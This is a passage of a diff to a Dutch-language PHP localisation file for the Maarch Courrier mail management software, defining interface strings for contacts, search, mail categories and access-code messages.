define('_DOCSERVER_LOCATION_DELETED', 'Opslagplaats verwijderd');} -if (!defined('_DOCSERVER_LOCATION_DISABLED')) { define('_DOCSERVER_LOCATION_DISABLED', 'Opslagplaats uitgeschakeld');} -if (!defined('_DOCSERVER_LOCATION_ENABLED')) { define('_DOCSERVER_LOCATION_ENABLED', 'Opslagruimte ingeschakeld');} -if (!defined('_IP_V4_ADRESS_NOT_VALID')) { define('_IP_V4_ADRESS_NOT_VALID', 'Adres IPV4 onbereikbaar');} -if (!defined('_IP_V4_FORMAT_NOT_VALID')) { define('_IP_V4_FORMAT_NOT_VALID', 'Fout formaat adres IPV4');} -if (!defined('_IP_V6_NOT_VALID')) { define('_IP_V6_NOT_VALID', 'Fout formaat adres IPV6');} -if (!defined('_MASK_NOT_VALID')) { define('_MASK_NOT_VALID', 'Masker is ongeldig');} -if (!defined('_FAILOVER')) { define('_FAILOVER', 'Hervatting na fout');} -if (!defined('_FILE_NOT_EXISTS_ON_THE_SERVER')) { define('_FILE_NOT_EXISTS_ON_THE_SERVER', 'Het bestand bestaat niet op de docserver');} -if (!defined('_NO_RIGHT_ON_RESOURCE_OR_RESOURCE_NOT_EXISTS')) { define('_NO_RIGHT_ON_RESOURCE_OR_RESOURCE_NOT_EXISTS', 'Geen enkel recht op de gevraagde asset of de asset is niet beschikbaar');} -if (!defined('_PROCESS_DELAY')) { define('_PROCESS_DELAY', 'Verwerkingstermijn');} -if (!defined('_ALERT_DELAY_1')) { define('_ALERT_DELAY_1', 'Termijn van het 1e alarm');} -if (!defined('_ALERT_DELAY_2')) { define('_ALERT_DELAY_2', 'Termijn van het 2e alarm');} -if (!defined('_ERROR_PARAMETERS_FUNCTION')) { define('_ERROR_PARAMETERS_FUNCTION', 'Instellingsfout...');} -if (!defined('_SYNTAX_OK')) { define('_SYNTAX_OK', 'Syntax OK');} -if (!defined('_TECHNICAL_INFORMATIONS')) { define('_TECHNICAL_INFORMATIONS', 'Technische informatie');} -if (!defined('_SOURCE_FILE_PROPERTIES')) { define('_SOURCE_FILE_PROPERTIES', 'Eigenschappen van het bronbestand');} -if (!defined('_FINGERPRINT')) { define('_FINGERPRINT', 'Digitale afdruk');} -if (!defined('_OFFSET')) { define('_OFFSET', 'Offset');} -if (!defined('_SETUP')) { define('_SETUP', 'Configureren');} -if (!defined('_WELCOME_TEXT_LOAD')) { define('_WELCOME_TEXT_LOAD', 'Laden van tekst homepage');} -if (!defined('_WRONG_FUNCTION_OR_WRONG_PARAMETERS')) { define('_WRONG_FUNCTION_OR_WRONG_PARAMETERS', 'Foute oproep of foute instelling');} -if (!defined('_INDEXING_INSERT_ERROR')) { define('_INDEXING_INSERT_ERROR', 'Indexering: fout tijdens het invoegen');} -if (!defined('_LOGIN_HISTORY')) { define('_LOGIN_HISTORY', 'Verbinding van de gebruiker');} -if (!defined('_LOGOUT_HISTORY')) { define('_LOGOUT_HISTORY', 'Afmelden van de gebruiker');} -if (!defined('_TO_MASTER_DOCUMENT')) { define('_TO_MASTER_DOCUMENT', 'bij masterdocument nr.');} -if (!defined('_DETAILS_PRINT')) { define('_DETAILS_PRINT', 'Verbindingsfiche nr.');} -if (!defined('_NOTES_1')) { define('_NOTES_1', 'Voorbeeld Dienstnota’s 1');} -if (!defined('_NOTES_2')) { define('_NOTES_2', 'Voorbeeld Dienstnota’s 2');} -if (!defined('_NOTES_3')) { define('_NOTES_3', 'Voorbeeld Dienstnota’s 3');} -if (!defined('_WHERE_CLAUSE_NOT_SECURE')) { define('_WHERE_CLAUSE_NOT_SECURE', 'Niet beveiligde Where clause');} -if (!defined('_SQL_QUERY_NOT_SECURE')) { define('_SQL_QUERY_NOT_SECURE', 'Niet beveiligd SQL-verzoek');} -if (!defined('_PUT_DOC_ON_VALIDATION')) { define('_PUT_DOC_ON_VALIDATION', 'Het te bevestigen document verzenden');} -if (!defined('_REALLY_PUT_DOC_ON_VALIDATION')) { define('_REALLY_PUT_DOC_ON_VALIDATION', 'De verzending in goedkeuring bevestigen');} -if (!defined('_ASK_RA_CODE_1')) { define('_ASK_RA_CODE_1', 'Er zal een e-mail verzonden worden naar het adres:');} -if (!defined('_ASK_RA_CODE_2')) { define('_ASK_RA_CODE_2', 'Eens de code gekend is, kan u nogmaals proberen te verbinden.');} -if (!defined('_CONFIRM_ASK_RA_CODE_1')) { define('_CONFIRM_ASK_RA_CODE_1', 'Hallo');} -if (!defined('_CONFIRM_ASK_RA_CODE_2')) { define('_CONFIRM_ASK_RA_CODE_2', 'uw verbindingscode op afstand voor de Maarch applicatie is:');} -if (!defined('_CONFIRM_ASK_RA_CODE_3')) { define('_CONFIRM_ASK_RA_CODE_3', 'deze code blijft geldig tot');} -if (!defined('_CONFIRM_ASK_RA_CODE_4')) { define('_CONFIRM_ASK_RA_CODE_4', 'Om u te verbinden');} -if (!defined('_CONFIRM_ASK_RA_CODE_5')) { define('_CONFIRM_ASK_RA_CODE_5', 'Klik hier');} -if (!defined('_CONFIRM_ASK_RA_CODE_6')) { define('_CONFIRM_ASK_RA_CODE_6', 'Uw Maarch verbindingscode');} -if (!defined('_CONFIRM_ASK_RA_CODE_7')) { define('_CONFIRM_ASK_RA_CODE_7', 'Er werd een e-mail naar uw e-mailadres verzonden');} -if (!defined('_CONFIRM_ASK_RA_CODE_8')) { define('_CONFIRM_ASK_RA_CODE_8', 'Poging tot nieuwe verbinding');} -if (!defined('_TRYING_TO_CONNECT_FROM_NOT_ALLOWED_IP')) { define('_TRYING_TO_CONNECT_FROM_NOT_ALLOWED_IP', 'U probeert u te verbinden vanuit een niet geregistreerde plaats.');} -if (!defined('_PLEASE_ENTER_YOUR_RA_CODE')) { define('_PLEASE_ENTER_YOUR_RA_CODE', 'Voer de bijkomende toegangscode in.');} -if (!defined('_ASK_AN_RA_CODE')) { define('_ASK_AN_RA_CODE', 'Een toegangscode vragen');} -if (!defined('_RA_CODE_1')) { define('_RA_CODE_1', 'Bijkomende code');} -if (!defined('_CAN_T_CONNECT_WITH_THIS_IP')) { define('_CAN_T_CONNECT_WITH_THIS_IP', 'U kunt zich niet vanuit een niet geregistreerde plaats verbinden.');} -if (!defined('_LOADING_INFORMATIONS')) { define('_LOADING_INFORMATIONS', 'Laden van de gegevens');} -if (!defined('_BY')) { define('_BY', 'door');} -if (!defined('_REVERSE_CHECK')) { define('_REVERSE_CHECK', 'De selectie omkeren');} -if (!defined('_CHECK_ALL')) { define('_CHECK_ALL', 'Alles aanvinken');} -if (!defined('_UNCHECK_ALL')) { define('_UNCHECK_ALL', '/ uitvinken');} +if (!defined('_ACTION_NOT_IN_DB')) { + define('_ACTION_NOT_IN_DB', 'Actie niet bewaard in database'); +} +if (!defined('_ERROR_PARAM_ACTION')) { + define('_ERROR_PARAM_ACTION', 'Fout instelling van de actie'); +} +if (!defined('_SQL_ERROR')) { + define('_SQL_ERROR', 'SQL fout'); +} +if (!defined('_ACTION_DONE')) { + define('_ACTION_DONE', 'Actie uitgevoerd'); +} +if (!defined('_ACTION_PAGE_MISSING')) { + define('_ACTION_PAGE_MISSING', 'Resultaatpagina van de actie ontbreekt'); +} +if (!defined('_ERROR_SCRIPT')) { + define('_ERROR_SCRIPT', 'Resultaatpagina van de actie: fout in het script of ontbrekende functie'); +} +if (!defined('_SERVER_ERROR')) { + define('_SERVER_ERROR', 'Serverfout'); +} +if (!defined('_CHOOSE_ONE_DOC')) { + define('_CHOOSE_ONE_DOC', 'Kies minstens een document'); +} +if (!defined('_CHOOSE_ONE_OBJECT')) { + define('_CHOOSE_ONE_OBJECT', 'Kies minstens een element'); +} +if (!defined('_SIMPLE_CONFIRM')) { + define('_SIMPLE_CONFIRM', 'Eenvoudige bevestiging'); +} +if (!defined('_SIMPLE_CONFIRM_DESC')) { + define('_SIMPLE_CONFIRM_DESC', 'Opent eenvoudigweg een bevestigingsmodaliteit van de uit te voeren actie.'); +} +if (!defined('_CHECK_INVOICE')) { + define('_CHECK_INVOICE', 'Factuur controleren'); +} +if (!defined('_REDIRECT_TO')) { + define('_REDIRECT_TO', 'Doorsturen naar'); +} +if (!defined('_NO_STRUCTURE_ATTACHED')) { + define('_NO_STRUCTURE_ATTACHED', 'Dit documenttype is aan geen enkele map gekoppeld.'); +} +if (!defined('_MAARCH_CREDITS')) { + define('_MAARCH_CREDITS', 'Over Maarch Courrier'); +} +if (!defined('_MAARCH_LICENCE')) { + define('_MAARCH_LICENCE', 'Maarch Courrier wordt verspreid onder de voorwaarden van de'); +} +if (!defined('_OFFICIAL_WEBSITE')) { + define('_OFFICIAL_WEBSITE', 'Officiële site'); +} +if (!defined('_COMMUNITY')) { + define('_COMMUNITY', 'Gemeenschap'); +} +if (!defined('_DOCUMENTATION')) { + define('_DOCUMENTATION', 'Documentatie'); +} +if (!defined('_PROCESS_LIMIT_DATE')) { + define('_PROCESS_LIMIT_DATE', 'Verwerkingsdeadline'); +} +if (!defined('_LATE_PROCESS')) { + define('_LATE_PROCESS', 'Te laat'); +} +if (!defined('_PROCESS_DELAY')) { + define('_PROCESS_DELAY', 'Verwerkingstermijn (in dagen)'); +} +if (!defined('_ALARM1_DELAY')) { + define('_ALARM1_DELAY', 'Herinneringstermijn 1 (dag) voor het einde'); +} +if (!defined('_ALARM2_DELAY')) { + define('_ALARM2_DELAY', 'Herinneringstermijn 2 (dagen) na het einde'); +} +if (!defined('_CATEGORY')) { + define('_CATEGORY', 'Categorie'); +} +if (!defined('_CHOOSE_CATEGORY')) { + define('_CHOOSE_CATEGORY', 'Kies een categorie'); +} +if (!defined('_RECEIVING_DATE')) { + define('_RECEIVING_DATE', 'Aankomstdatum'); +} +if (!defined('_SUBJECT')) { + define('_SUBJECT', 'Onderwerp'); +} +if (!defined('_AUTHOR')) { + define('_AUTHOR', 'Auteur'); +} +if (!defined('_AUTHOR_DOC')) { + define('_AUTHOR_DOC', 'Auteur van het document'); +} +if (!defined('_DOCTYPE_MAIL')) { + define('_DOCTYPE_MAIL', 'Type brief'); +} +if (!defined('_PROCESS_LIMIT_DATE_USE')) { + define('_PROCESS_LIMIT_DATE_USE', 'Deadline activeren'); +} +if (!defined('_DEPARTMENT_DEST')) { + define('_DEPARTMENT_DEST', 'Verwerkende dienst'); +} +if (!defined('_DEPARTMENT_EXP')) { + define('_DEPARTMENT_EXP', 'Verzendende dienst'); +} +if (!defined('_INCOMING')) { + define('_INCOMING', 'Brief Aankomst'); +} +if (!defined('_OUTGOING')) { + define('_OUTGOING', 'Brief Vertrek'); +} +if (!defined('_INTERNAL')) { + define('_INTERNAL', 'Interne brief'); +} +if (!defined('_ATTACHMENT')) { + define('_ATTACHMENT', 'Bijlage'); +} +if (!defined('_GED_DOC')) { + define('_GED_DOC', 'GED document'); +} +if (!defined('_MARKET_DOCUMENT')) { + define('_MARKET_DOCUMENT', 'Document van submap'); +} +if (!defined('_EMPTY')) { + define('_EMPTY', 'Leeg'); +} +if (!defined('_CHOOSE_NATURE')) { + define('_CHOOSE_NATURE', 'Kiezen'); +} +if (!defined('_SIMPLE_MAIL')) { + define('_SIMPLE_MAIL', 'Gewone brief'); +} +if (!defined('_EMAIL')) { + define('_EMAIL', 'E-mail'); +} +if (!defined('_FAX')) { + define('_FAX', 'Fax'); +} +if (!defined('_CHRONOPOST')) { + define('_CHRONOPOST', 'Chronopost'); +} +if (!defined('_FEDEX')) { + define('_FEDEX', 'Fedex'); +} +if (!defined('_REGISTERED_MAIL')) { + define('_REGISTERED_MAIL', 'Brief met ontvangstbewijs'); +} +if (!defined('_COURIER')) { + define('_COURIER', 'Koerierdienst'); +} +if (!defined('_OTHER')) { + define('_OTHER', 'Andere'); +} +if (!defined('_NORMAL')) { + define('_NORMAL', 'Normaal'); +} +if (!defined('_VERY_HIGH')) { + define('_VERY_HIGH', 'Heel dringend'); +} +if (!defined('_HIGH')) { + define('_HIGH', 'Dringend'); +} +if (!defined('_LOW')) { + define('_LOW', 'Laag'); +} +if (!defined('_VERY_LOW')) { + define('_VERY_LOW', 'Heel laag'); +} +if (!defined('_INDEXING_MLB')) { + define('_INDEXING_MLB', 'Een brief/doc bewaren'); +} +if (!defined('_ADV_SEARCH_MLB')) { + define('_ADV_SEARCH_MLB', 'Opzoeken'); +} +if (!defined('_ADV_SEARCH_TITLE')) { + define('_ADV_SEARCH_TITLE', 'Geavanceerd zoeken van brief'); +} +if (!defined('_MAIL_OBJECT')) { + define('_MAIL_OBJECT', 'Onderwerp van brief'); +} +if (!defined('_N_GED')) { + define('_N_GED', 'GED-nummer'); +} +if (!defined('_GED_NUM')) { + define('_GED_NUM', 'GED NR.'); +} +if (!defined('_GED_DOC')) { + define('_GED_DOC', 'GED document'); +} +if (!defined('_REG_DATE')) { + define('_REG_DATE', 'Datum van bewaring'); +} +if (!defined('_PROCESS_DATE')) { + define('_PROCESS_DATE', 'Datum van verwerking'); +} +if (!defined('_CHOOSE_STATUS')) { + define('_CHOOSE_STATUS', 'Kies een status'); +} +if (!defined('_TO_CC')) { + define('_TO_CC', 'In kopie'); +} +if (!defined('_ADD_CC')) { + define('_ADD_CC', 'In kopie'); +} +if (!defined('_ADD_COPIES')) { + define('_ADD_COPIES', 'Personen in kopie toevoegen'); +} +if (!defined('_TO_SIGN')) { + define('_TO_SIGN', 'Voor ondertekening'); +} +if (!defined('_VISA_USER')) { + define('_VISA_USER', 'Voor goedkeuring'); +} +if (!defined('_VISA_USER_SEARCH')) { + define('_VISA_USER_SEARCH', 'GOEDKEURDER'); +} +if (!defined('_VISA_USER_SEARCH_MIN')) { + define('_VISA_USER_SEARCH_MIN', 'Goedkeurder'); +} +if (!defined('_TO_VIEW')) { + define('_TO_VIEW', 'Voor bericht'); +} +if (!defined('_TO_SHARED_VIEW')) { + define('_TO_SHARED_VIEW', 'Voor gedeeld bericht'); +} +if (!defined('_FOLLOWED_INFO')) { + define('_FOLLOWED_INFO', 'Voor opgevolgde informatie'); +} +if (!defined('_PROCESS_NOTES')) { + define('_PROCESS_NOTES', 'Verwerkingsnotities'); +} +if (!defined('_DIRECT_CONTACT')) { + define('_DIRECT_CONTACT', 'Rechtstreekse contactname'); +} +if (!defined('_NO_ANSWER')) { + define('_NO_ANSWER', 'Geen antwoord'); +} +if (!defined('_ANSWER')) { + define('_ANSWER', 'Antwoord'); +} +if (!defined('_DETAILS')) { + define('_DETAILS', 'Gedetailleerde fiche'); +} +if (!defined('_DOWNLOAD')) { + define('_DOWNLOAD', 'Downloaden'); +} +if (!defined('_SEARCH_RESULTS')) { + define('_SEARCH_RESULTS', 'Resultaat van de opzoeking'); +} +if (!defined('_MAIL_PRIORITY')) { + define('_MAIL_PRIORITY', 'Prioriteit van de brief'); +} +if (!defined('_CHOOSE_PRIORITY')) { + define('_CHOOSE_PRIORITY', 'Kies een prioriteit'); +} +if (!defined('_ADD_PARAMETERS')) { + define('_ADD_PARAMETERS', 'Criteria toevoegen'); +} +if (!defined('_CHOOSE_PARAMETERS')) { + define('_CHOOSE_PARAMETERS', 'Kies uw criteria'); +} +if (!defined('_CHOOSE_ENTITES_SEARCH_TITLE')) { + define('_CHOOSE_ENTITES_SEARCH_TITLE', 'Voeg de gewenste dienst(en) toe om de opzoeking in te perken'); +} +if (!defined('_CHOOSE_DOCTYPES_SEARCH_TITLE')) { + define('_CHOOSE_DOCTYPES_SEARCH_TITLE', 'Voeg (het) de gewenste documenttype(s) toe om de opzoeking in te perken'); +} +if (!defined('_CHOOSE_DOCTYPES_MAIL_SEARCH_TITLE')) { + define('_CHOOSE_DOCTYPES_MAIL_SEARCH_TITLE', 'Voeg het (de) gewenste posttype(s) toe om de opzoeking in te perken'); +} +if (!defined('_DESTINATION_SEARCH')) { + define('_DESTINATION_SEARCH', 'Getroffen dienst(en)'); +} +if (!defined('_ADD_PARAMETERS_HELP')) { + define('_ADD_PARAMETERS_HELP', 'Om het resultaat te verfijnen kan u criteria aan uw opzoeking toevoegen...'); +} +if (!defined('_MAIL_OBJECT_HELP')) { + define('_MAIL_OBJECT_HELP', 'Voer een woord of een groep woorden in voor het onderwerp van de brief'); +} +if (!defined('_N_GED_HELP')) { + define('_N_GED_HELP', ''); +} +if (!defined('_CHOOSE_RECIPIENT_SEARCH_TITLE')) { + define('_CHOOSE_RECIPIENT_SEARCH_TITLE', 'Voeg de gewenste ontvanger(s) toe om de opzoeking in te perken'); +} +if (!defined('_MULTI_FIELD')) { + define('_MULTI_FIELD', 'Multivelden'); +} +if (!defined('_SAVE_QUERY')) { + define('_SAVE_QUERY', 'Mijn opzoeking bewaren'); +} +if (!defined('_SAVE_QUERY_TITLE')) { + define('_SAVE_QUERY_TITLE', 'Opzoeking bewaard'); +} +if (!defined('_QUERY_NAME')) { + define('_QUERY_NAME', 'Naam van mijn opzoeking'); +} +if (!defined('_QUERY_SAVED')) { + define('_QUERY_SAVED', 'Opzoeking opgeslagen'); +} +if (!defined('_LOAD_QUERY')) { + define('_LOAD_QUERY', 'De opzoeking laden'); +} +if (!defined('_DELETE_QUERY')) { + define('_DELETE_QUERY', 'De opzoeking verwijderen'); +} +if (!defined('_CHOOSE_SEARCH')) { + define('_CHOOSE_SEARCH', 'Een opzoeking kiezen'); +} +if (!defined('_THIS_SEARCH')) { + define('_THIS_SEARCH', 'deze opzoeking'); +} +if (!defined('_MY_SEARCHES')) { + define('_MY_SEARCHES', 'Mijn opzoekingen'); +} +if (!defined('_CLEAR_SEARCH')) { + define('_CLEAR_SEARCH', 'De criteria verwijderen'); +} +if (!defined('_CHOOSE_STATUS_SEARCH_TITLE')) { + define('_CHOOSE_STATUS_SEARCH_TITLE', 'Voeg de gewenste status(sen) toe om de opzoeking in te perken'); +} +if (!defined('_ERROR_IE_SEARCH')) { + define('_ERROR_IE_SEARCH', 'Dit element werd reeds gedefinieerd!'); +} +if (!defined('_DEST_USER')) { + define('_DEST_USER', 'Ontvanger'); +} +if (!defined('_DOCTYPES')) { + define('_DOCTYPES', 'Documenttype(s)'); +} +if (!defined('_DOCTYPE_INDEXES')) { + define('_DOCTYPE_INDEXES', 'Index van het documenttype'); +} +if (!defined('_ERROR_DOCTYPE')) { + define('_ERROR_DOCTYPE', 'Ongeldig documenttype'); +} +if (!defined('_ADMISSION_DATE')) { + define('_ADMISSION_DATE', 'Aankomstdatum'); +} +if (!defined('_FOUND_DOC')) { + define('_FOUND_DOC', 'brieven gevonden'); +} +if (!defined('_FOUND_LOGS')) { + define('_FOUND_LOGS', 'logbestand(en) gevonden'); +} +if (!defined('_PROCESS')) { + define('_PROCESS', 'Verwerking'); +} +if (!defined('_PROCESS')) { + define('_PROCESS', 'Verwerken'); +} +if (!defined('_DOC_NUM')) { + define('_DOC_NUM', 'document nr.'); +} +if (!defined('_LETTER_NUM')) { + define('_LETTER_NUM', 'brief nr.'); +} +if (!defined('_GENERAL_INFO')) { + define('_GENERAL_INFO', 'Algemene gegevens'); +} +if (!defined('_ON_DOC_NUM')) { + define('_ON_DOC_NUM', 'voor document nr.'); +} +if (!defined('_PRIORITY')) { + define('_PRIORITY', 'Prioriteit'); +} +if (!defined('_MAIL_DATE')) { + define('_MAIL_DATE', 'Datum van de brief'); +} +if (!defined('_DOC_HISTORY')) { + define('_DOC_HISTORY', 'Geschiedenis'); +} +if (!defined('_CHOOSE_FILE')) { + define('_CHOOSE_FILE', 'Kies het bestand'); +} +if (!defined('_CHOOSE_TYPE')) { + define('_CHOOSE_TYPE', 'Kies een type'); +} +if (!defined('_WRONG_FILE_TYPE')) { + define('_WRONG_FILE_TYPE', 'Dit bestandstype is niet toegelaten'); +} +if (!defined('_LETTERBOX')) { + define('_LETTERBOX', 'Verzameling van de brieven'); +} +if (!defined('_ATTACHMENTS_COLL')) { + define('_ATTACHMENTS_COLL', 'Verzameling van de bijlagen'); +} +if (!defined('_ATTACHMENTS_VERS_COLL')) { + define('_ATTACHMENTS_VERS_COLL', 'Verzameling van de bijlageversies'); +} +if (!defined('_APA_COLL')) { + define('_APA_COLL', 'Verzameling van de fysieke archivering'); +} +if (!defined('_DOCUMENTS_LIST')) { + define('_DOCUMENTS_LIST', 'Lijst'); +} +if (!defined('_ADMIN_CONTACTS')) { + define('_ADMIN_CONTACTS', 'Contacten'); +} +if (!defined('_ADMIN_CONTACTS_DESC')) { + define('_ADMIN_CONTACTS_DESC', 'Contactenbeheer'); +} +if (!defined('_CONTACTS_LIST')) { + define('_CONTACTS_LIST', 'Contactenlijst'); +} +if (!defined('_CONTACT_ADDITION')) { + define('_CONTACT_ADDITION', 'Contact toevoegen'); +} +if (!defined('_CONTACTS')) { + define('_CONTACTS', 'contact(en)'); +} +if (!defined('_CONTACT')) { + define('_CONTACT', 'Contact'); +} +if (!defined('_NEW_CONTACT')) { + define('_NEW_CONTACT', 'Nieuw contact'); +} +if (!defined('_ALL_CONTACTS')) { + define('_ALL_CONTACTS', 'Alle contacten'); +} +if (!defined('_ADD_CONTACT')) { + define('_ADD_CONTACT', 'Toevoeging van een contact'); +} +if (!defined('_ADD_NEW_CONTACT')) { + define('_ADD_NEW_CONTACT', 'Nieuwe contact toevoegen'); +} +if (!defined('_UPDATE_CONTACT')) { + define('_UPDATE_CONTACT', 'Contacten wijzigen'); +} +if (!defined('_PHONE')) { + define('_PHONE', 'Telefoon'); +} +if (!defined('_ADDRESS')) { + define('_ADDRESS', 'Adres'); +} +if (!defined('_NO_ADDRESS_GIVEN')) { + define('_NO_ADDRESS_GIVEN', 'Geen adresinformatie'); +} +if (!defined('_NO_RESULTS_AUTOCOMPLETE_CONTACT_INFO')) { + define('_NO_RESULTS_AUTOCOMPLETE_CONTACT_INFO', 'Indien u op de voornaam EN op de familienaam wil zoeken, verzeker er u van dat u alles in deze volgorde heeft geschreven.'); +} +if (!defined('_STREET')) { + define('_STREET', 'Spoor'); +} +if (!defined('_COMPLEMENT')) { + define('_COMPLEMENT', 'Toren gebouw pand residentie'); +} +if (!defined('_TOWN')) { + define('_TOWN', 'Gemeente'); +} +if (!defined('_COUNTRY')) { + define('_COUNTRY', 'Land'); +} +if (!defined('_SOCIETY')) { + define('_SOCIETY', 'Bedrijf'); +} +if (!defined('_COMP')) { + define('_COMP', 'Overige'); +} +if (!defined('_COMP_DATA')) { + define('_COMP_DATA', 'Bijkomende informatie'); +} +if (!defined('_CONTACT_ADDED')) { + define('_CONTACT_ADDED', 'Toegevoegd contact'); +} +if (!defined('_CONTACT_MODIFIED')) { + define('_CONTACT_MODIFIED', 'Gewijzigd contact'); +} +if (!defined('_CONTACT_DELETED')) { + define('_CONTACT_DELETED', 'Verwijderd contact'); +} +if (!defined('_MODIFY_CONTACT')) { + define('_MODIFY_CONTACT', 'Een contact wijzigen'); +} +if (!defined('_IS_CORPORATE_PERSON')) { + define('_IS_CORPORATE_PERSON', 'Rechtspersoon'); +} +if (!defined('_IS_INTERNAL_CONTACT')) { + define('_IS_INTERNAL_CONTACT', 'Intern contact'); +} +if (!defined('_IS_EXTERNAL_CONTACT')) { + define('_IS_EXTERNAL_CONTACT', 'Extern contact'); +} +if (!defined('_SEARCH_DIRECTORY')) { + define('_SEARCH_DIRECTORY', 'Opzoeking telefoonboek'); +} +if (!defined('_INDIVIDUAL')) { + define('_INDIVIDUAL', 'Privépersoon'); +} +if (!defined('_CONTACT_TARGET')) { + define('_CONTACT_TARGET', 'Voor welk contact kan dit type gebruikt worden?'); +} +if (!defined('_CONTACT_TARGET_LIST')) { + define('_CONTACT_TARGET_LIST', 'Doel van het contacttype'); +} +if (!defined('_CONTACT_TYPE_CREATION')) { + define('_CONTACT_TYPE_CREATION', 'Mogelijkheid om een contact van dit type aan te maken buiten het beheerpanel?'); +} +if (!defined('_IS_PRIVATE')) { + define('_IS_PRIVATE', 'Vertrouwelijke gegevens'); +} +if (!defined('_TITLE2')) { + define('_TITLE2', 'Aanspreking'); +} +if (!defined('_WARNING_MESSAGE_DEL_CONTACT')) { + define('_WARNING_MESSAGE_DEL_CONTACT', 'Waarschuwing:<br> De verwijdering van een contact leidt tot een nieuwe toewijzing van de documenten en van de brieven aan een nieuw contact.'); +} +if (!defined('_CONTACT_DELETION')) { + define('_CONTACT_DELETION', 'Contact verwijderen'); +} +if (!defined('_CONTACT_REAFFECT')) { + define('_CONTACT_REAFFECT', 'Nieuwe toewijzing van de documenten en van de brieven'); +} +if (!defined('_UPDATE_CONTACTS')) { + define('_UPDATE_CONTACTS', 'Update contact vanuit indexering/kwalificatie'); +} +if (!defined('_CONTACT_TYPE')) { + define('_CONTACT_TYPE', 'Contacttype'); +} +if (!defined('_MULTI_EXTERNAL')) { + define('_MULTI_EXTERNAL', 'Multi extern'); +} +if (!defined('_MULTI_CONTACT')) { + define('_MULTI_CONTACT', 'Multi contacten'); +} +if (!defined('_SINGLE_CONTACT')) { + define('_SINGLE_CONTACT', 'Enkel contact'); +} +if (!defined('_SHOW_MULTI_CONTACT')) { + define('_SHOW_MULTI_CONTACT', 'Contacten bekijken'); +} +if (!defined('_STRUCTURE_ORGANISM')) { + define('_STRUCTURE_ORGANISM', 'Structuur'); +} +if (!defined('_TYPE_OF_THE_CONTACT')) { + define('_TYPE_OF_THE_CONTACT', 'Welk contacttype?'); +} +if (!defined('_WRITE_IN_UPPER')) { + define('_WRITE_IN_UPPER', 'Invoeren in hoofdletters'); +} +if (!defined('_EXAMPLE_PURPOSE')) { + define('_EXAMPLE_PURPOSE', 'Voorbeeld: Algemene directie/Woonplaats'); +} +if (!defined('_EXAMPLE_SELECT_CONTACT_TYPE')) { + define('_EXAMPLE_SELECT_CONTACT_TYPE', ''); +} +if (!defined('_HELP_SELECT_CONTACT_CREATED')) { + define('_HELP_SELECT_CONTACT_CREATED', ''); +} +if (!defined('_MANAGE_DUPLICATES')) { + define('_MANAGE_DUPLICATES', 'Beheer van dubbele elementen'); +} +if (!defined('_DUPLICATES_BY_SOCIETY')) { + define('_DUPLICATES_BY_SOCIETY', 'Dubbele elementen per organisatie/vennootschap'); +} +if (!defined('_DUPLICATES_BY_NAME')) { + define('_DUPLICATES_BY_NAME', 'Dubbele elementen per familienaam/voornaam'); +} +if (!defined('_IS_ATTACHED_TO_DOC')) { + define('_IS_ATTACHED_TO_DOC', 'Bij documenten gevoegd?'); +} +if (!defined('_CONTACT_CHECK')) { + define('_CONTACT_CHECK', 'Minstens één recent bewaarde brief is aan hetzelfde contact toegewezen.'); +} +if (!defined('_NO_SOCIETY_DUPLICATES')) { + define('_NO_SOCIETY_DUPLICATES', 'Geen dubbel element voor rechtscontacten'); +} +if (!defined('_NO_NAME_DUPLICATES')) { + define('_NO_NAME_DUPLICATES', 'Geen dubbel element voor contacten met natuurlijke personen (voornaam familienaam)'); +} +if (!defined('_YOU_MUST_SELECT_CONTACT')) { + define('_YOU_MUST_SELECT_CONTACT', 'U moet een contact selecteren'); +} +if (!defined('_DOC_SENDED_BY_CONTACT')) { + define('_DOC_SENDED_BY_CONTACT', '<b>Documenten en/of brieven verzonden door dit contact</b>'); +} +if (!defined('_CONTACT_INFO')) { + define('_CONTACT_INFO', 'Contactfiche'); +} +if (!defined('_SHIPPER')) { + define('_SHIPPER', 'Afzender'); +} +if (!defined('_DEST')) { + define('_DEST', 'Ontvanger'); +} +if (!defined('_THIRD_DEST')) { + define('_THIRD_DEST', 'Begunstigde derde'); +} +if (!defined('_INTERNAL2')) { + define('_INTERNAL2', 'Intern'); +} +if (!defined('_EXTERNAL')) { + define('_EXTERNAL', 'Extern'); +} +if (!defined('_CHOOSE_SHIPPER')) { + define('_CHOOSE_SHIPPER', 'Een verzender kiezen'); +} +if (!defined('_CHOOSE_DEST')) { + define('_CHOOSE_DEST', 'Een bestemmeling kiezen'); +} +if (!defined('_DOC_DATE')) { + define('_DOC_DATE', 'Datum van de brief'); +} +if (!defined('_CONTACT_CARD')) { + define('_CONTACT_CARD', 'Contactfiche'); +} +if (!defined('_CREATE_CONTACT')) { + define('_CREATE_CONTACT', 'Een contact of een adres toevoegen'); +} +if (!defined('_USE_AUTOCOMPLETION')) { + define('_USE_AUTOCOMPLETION', 'Autoaanvullen gebruiken'); +} +if (!defined('_USER_DATA')) { + define('_USER_DATA', 'Gebruikersfiche'); +} +if (!defined('_SHIPPER_TYPE')) { + define('_SHIPPER_TYPE', 'Type verzender'); +} +if (!defined('_DEST_TYPE')) { + define('_DEST_TYPE', 'Type bestemmeling'); +} +if (!defined('_VALIDATE_MAIL')) { + define('_VALIDATE_MAIL', 'Bevestiging brief'); +} +if (!defined('_LETTER_INFO')) { + define('_LETTER_INFO', 'Informatie over de brief'); +} +if (!defined('_DATE_START')) { + define('_DATE_START', 'Aankomstdatum'); +} +if (!defined('_LIMIT_DATE_PROCESS')) { + define('_LIMIT_DATE_PROCESS', 'Verwerkingsdeadline'); +} +if (!defined('_MANAGE_CONTACTS_DESC')) { + define('_MANAGE_CONTACTS_DESC', 'Beheer van de contacten'); +} +if (!defined('_MANAGE_CONTACTS')) { + define('_MANAGE_CONTACTS', 'Beheer van de contacten<br/>(Niveau 2)'); +} +if (!defined('_SEE_ALL_ADDRESSES')) { + define('_SEE_ALL_ADDRESSES', 'Alle adressen bekijken'); +} +if (!defined('_MANAGE_CONTACT_ADDRESSES_LIST_DESC')) { + define('_MANAGE_CONTACT_ADDRESSES_LIST_DESC', 'Adresbeheer'); +} +if (!defined('_MANAGE_CONTACT_ADDRESSES_LIST')) { + define('_MANAGE_CONTACT_ADDRESSES_LIST', 'Adresbeheer'); +} +if (!defined('_VIEW_TREE_CONTACTS_DESC')) { + define('_VIEW_TREE_CONTACTS_DESC', 'Boomstructuur van de contacten'); +} +if (!defined('_VIEW_TREE_CONTACTS')) { + define('_VIEW_TREE_CONTACTS', 'Boomstructuur van de contacten'); +} +if (!defined('_ADDRESSES_LIST')) { + define('_ADDRESSES_LIST', 'Adressenlijst'); +} +if 